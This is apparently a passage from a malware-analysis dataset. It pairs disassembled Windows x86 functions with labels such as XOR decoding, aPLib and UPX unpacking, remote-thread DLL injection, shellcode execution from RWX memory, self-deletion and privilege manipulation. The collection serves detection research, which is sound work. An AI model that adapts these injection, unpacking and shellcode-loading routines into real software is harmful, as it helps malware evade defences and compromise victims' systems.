joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4058d5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4058e4
pop dword [ebp - 0x14]
mov eax, 0xe60e1417
add eax, 0x1a3244cd
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xcdd738eb
sub dword [ebp - 0x24], 0x7f84f3a0
mov dword [ebp - 0x20], 0x95524923
sub dword [ebp - 0x20], 0x631efcde
mov dword [ebp - 0x1c], 0x924e241b
add dword [ebp - 0x1c], 0xb9fe2013
mov dword [ebp - 0x18], 0x59ac94b9
add dword [ebp - 0x18], 0xa6536b47
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xa1c1ad58
sub dword [ebp - 0x24], 0x2d4f4402
mov dword [ebp - 0x20], 0xb888958c
sub dword [ebp - 0x20], 0x771c3417
mov dword [ebp - 0x1c], 0xf87008f7
add dword [ebp - 0x1c], 0x6aff6375
mov dword [ebp - 0x18], 0x40aa9645
sub dword [ebp - 0x18], 0x40aa9645
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xc98a6dcb
sub eax, 0xc949eccb
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x34930
push 0
call eax
mov ecx, 0x3e6f
mov ebx, eax
mov edx, 0x7839821d
add edx, 0x880bbfe3
add edx, dword [ebp - 0x14]
mov edi, 0xc4655251
sub edi, 0x80681e9b
sub dword [ebp - 0x10], edi
mov esi, dword [edx]
sub dword [ebp - 8], 0xaeb7fdd2
xor esi, edi
mov dword [ebp - 8], 0x725691e0
mov dword [ebx], esi
xor dword [ebp - 8], eax
add ebx, 4
add edx, 4
loop 0x4059fb
add eax, 0xec8f
mov ebx, eax
add eax, 0x61dee801
add eax, 0x9e211804
mov ecx, 0xf66b5e47
add ecx, 0x9d4a1b9
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x405ba0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa50
push esi
call fcn.004060e4
push esi
call fcn.00405b43
mov edi, eax
test edi, edi
jne 0x405bc1
xor eax, eax
jmp 0x405c19
push edi
call fcn.00406378
test byte [0x434ef8], 0x80
je 0x405bde
mov ax, word [edi]
test ax, ax
je 0x405bbd
cmp ax, 0x5c
je 0x405bbd
sub edi, esi
sar edi, 1
jmp 0x405bf8
call fcn.00406427
test eax, eax
je 0x405bf2
test byte [eax], 0x10
je 0x405bbd
push esi
call fcn.00405ae4
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405be4
call fcn.00405a98
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405c94
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405cb3
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405cb9
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x8c5548
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8c5698
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x8c556e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8c555a
add dl, dl
jne 0x8c5579
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8c55cc
xor eax, eax
add dl, dl
jne 0x8c5586
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8c566d
add dl, dl
jne 0x8c5595
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8c55a0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8c55ab
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8c55b6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8c55c2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x8c5565
mov eax, 1
add dl, dl
jne 0x8c55da
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8c55e5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8c55d1
sub eax, ebx
mov ebx, 1
jne 0x8c5618
mov ecx, 1
add dl, dl
jne 0x8c55fe
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8c5609
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8c55f5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8c5565
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x8c562f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8c563a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8c5626
cmp eax, 0x7d00
jae 0x8c565d
cmp eax, 0x500
jb 0x8c5658
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8c5565
cmp eax, 0x7f
ja 0x8c5660
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8c5565
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x8c568e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x8c5565
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x5309b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xdb000]
push edi
or ebp, 0xffffffff
jmp 0x5309d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5309d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5309c8
mov eax, 1
add ebx, ebx
jne 0x5309eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5309fc
jne 0x530a1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x530a1b
dec eax
add ebx, ebx
jne 0x530a08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5309e0
add ebx, ebx
jne 0x530a17
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x530a6d
xor ecx, ecx
sub eax, 3
jb 0x530a33
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x530aa2
sar eax, 1
mov ebp, eax
jmp 0x530a3e
add ebx, ebx
jne 0x530a3e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x530a0c
inc ecx
add ebx, ebx
jne 0x530a4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x530a0c
add ebx, ebx
jne 0x530a59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x530a4e
jne 0x530a6a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x530a4e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x530a8c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x530a7e
jmp 0x5309ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x530a8c
add edi, ecx
jmp 0x5309ce
pop esi
mov edi, esi
mov ecx, 0x5b56
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x530aaa
cmp byte [edi], 0x19
jne 0x530aaa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x530aaf
lea edi, [esi + 0x12c000]
mov eax, dword [edi]
or eax, eax
je 0x530b1e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x166bf8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x166ce8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x530adc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x166cec]
or eax, eax
je 0x530b18
mov dword [ebx], eax
add ebx, 4
jmp 0x530af9
call dword [esi + 0x166cfc]
mov ebp, dword [esi + 0x166cf0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x530b52
sub esp, 0xffffff80
jmp 0x4da4b4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x689417ab
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x689418a4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x689418ea
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x68941933
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x68941930
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x68941933
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x689419c6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret
Function at 0x68941a2d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x68941dc0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6894603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x68946034]
sub esp, 4
test ebx, ebx
je 0x68941e0b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x68941e04
test esi, esi
je 0x68941e04
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x68941de0
mov dword [esp], 0x6894603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x68941ff0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x68944218
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x68942040
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x68942118
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6894207e
cmp eax, 4
jne 0x689420a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6894208e
cmp edx, 4
je 0x6894208e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.68941ff0
Function at 0x401007
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
and dword [ebp - 0x14], 0
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x46d5c8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x46d5cc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
call fcn.00401000
mov eax, dword [0x46d5d0]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x46d5d4]
add ebx, 0x23f
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, edi
shl eax, 4
cmp dword [0x47c80c], 0xc
mov dword [ebp - 4], eax
jne 0x401080
xor eax, eax
push eax
lea ecx, [ebp - 0x2c]
push ecx
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov eax, dword [0x47c80c]
cmp eax, 0xfa9
jne 0x40109c
mov dword [0x47c808], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010be
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x47c760], 0
mov ecx, dword [ebp - 8]
and dword [ebp - 0x10], 0
mov edx, edi
lea eax, [ebx + edi]
shr edx, cl
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov dword [0x47c804], 0xf4ea3dee
add edx, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor eax, edx
sub esi, eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov edx, esi
shr edx, cl
lea eax, [ebx + esi]
mov dword [ebp - 0x14], eax
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor dword [ebp - 4], edx
sub edi, dword [ebp - 4]
add ebx, 0x61c88647
dec dword [ebp - 0x18]
jne 0x401054
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x407fdf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46cd70]
jne 0x407fe9
repz ret
jmp fcn.0040c2c2

Function at 0x40a778
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404b97
and dword [ebp - 4], 0
cmp dword [0x4717f8], 0
mov ebx, eax
jne 0x40a829
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a8da
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a8da
push eax
call fcn.00404b25
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4717f8], eax
call esi
push eax
call fcn.00404b25
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4717fc], eax
call esi
push eax
call fcn.00404b25
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x471800], eax
call esi
push eax
call fcn.00404b25
pop ecx
mov dword [0x471808], eax
test eax, eax
je 0x40a829
push 0x468f28
push edi
call esi
push eax
call fcn.00404b25
pop ecx
mov dword [0x471804], eax
mov eax, dword [0x471804]
cmp eax, ebx
je 0x40a881
cmp dword [0x471808], ebx
je 0x40a881
push eax
call fcn.00404ba0
push dword [0x471808]
mov esi, eax
call fcn.00404ba0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a881
test edi, edi
je 0x40a881
call esi
test eax, eax
je 0x40a878
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a878
test byte [ebp - 0xc], 1
jne 0x40a881
or dword [ebp + 0x10], 0x200000
jmp 0x40a8ba
mov eax, dword [0x4717fc]
cmp eax, ebx
je 0x40a8ba
push eax
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8ba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a8ba
mov eax, dword [0x471800]
cmp eax, ebx
je 0x40a8ba
push eax
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8ba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4717f8]
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8da
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a8dc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401eb7
Capabilities:
Manipulate user privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
and dword [ebp - 0x28], 0
push esi
push edi
mov esi, eax
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push eax
push 0x810
lea eax, [ebp - 0x28]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
test eax, eax
je 0x401eec
xor al, al
jmp 0x401f27
push esi
call fcn.00447827
add eax, eax
pop ecx
mov word [ebp - 0x10], ax
add eax, 2
push 1
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_LsaAddAccountRights]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_LsaClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x402059
Capabilities:
Get common file path

Disassembly:
push 0x2a4
mov eax, 0x4ccd4e
call fcn.0044dabe
xor eax, eax
push 0x208
mov word [ebp - 0x220], ax
xor esi, esi
lea eax, [ebp - 0x21e]
push esi
push eax
call fcn.00447b70
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
push esi
push esi
push 0x28
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
cmp eax, esi
jge 0x4020a6
xor al, al
call fcn.0044db41
ret
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x274]
push eax
call fcn.00404c84
lea eax, [ebp - 0x2ac]
push str.Contacts
push eax
mov dword [ebp - 4], esi
call fcn.0041d00d
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x258]
push eax
xor ebx, ebx
lea eax, [ebp - 0x274]
inc ebx
push eax
mov byte [ebp - 4], bl
call fcn.00404cc7
push ebx
xor edi, edi
lea esi, [ebp - 0x2ac]
mov byte [ebp - 4], 3
call fcn.00401198
lea eax, [ebp - 0x290]
push str.Searches
push eax
call fcn.0041d00d
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x274]
push eax
mov byte [ebp - 4], 4
call fcn.00404cc7
push ebx
lea esi, [ebp - 0x290]
mov byte [ebp - 4], 6
call fcn.00401198
lea eax, [ebp - 0x258]
call fcn.0041e4e3
test al, al
jne 0x40218e
cmp dword [ebp - 0x244], 8
mov ecx, dword [ebp - 0x258]
jae 0x40215a
lea ecx, [ebp - 0x258]
call fcn.0041e53b
test al, al
jne 0x40218e
push ebx
xor edi, edi
lea esi, [ebp - 0x23c]
call fcn.00401198
push ebx
lea esi, [ebp - 0x258]
call fcn.00401198
push ebx
lea esi, [ebp - 0x274]
call fcn.00401198
jmp 0x40209e
lea eax, [ebp - 0x23c]
call fcn.0041e4e3
test al, al
jne 0x4021f2
cmp dword [ebp - 0x228], 8
mov ecx, dword [ebp - 0x23c]
jae 0x4021b2
lea ecx, [ebp - 0x23c]
call fcn.0041e53b
test al, al
jne 0x4021f2
mov byte [ebp - 0x2ad], al
push ebx
xor edi, edi
lea esi, [ebp - 0x23c]
call fcn.00401198
push ebx
lea esi, [ebp - 0x258]
call fcn.00401198
push ebx
lea esi, [ebp - 0x274]
call fcn.00401198
mov al, byte [ebp - 0x2ad]
jmp 0x4020a0
mov byte [ebp - 0x2ad], bl
jmp 0x4021c1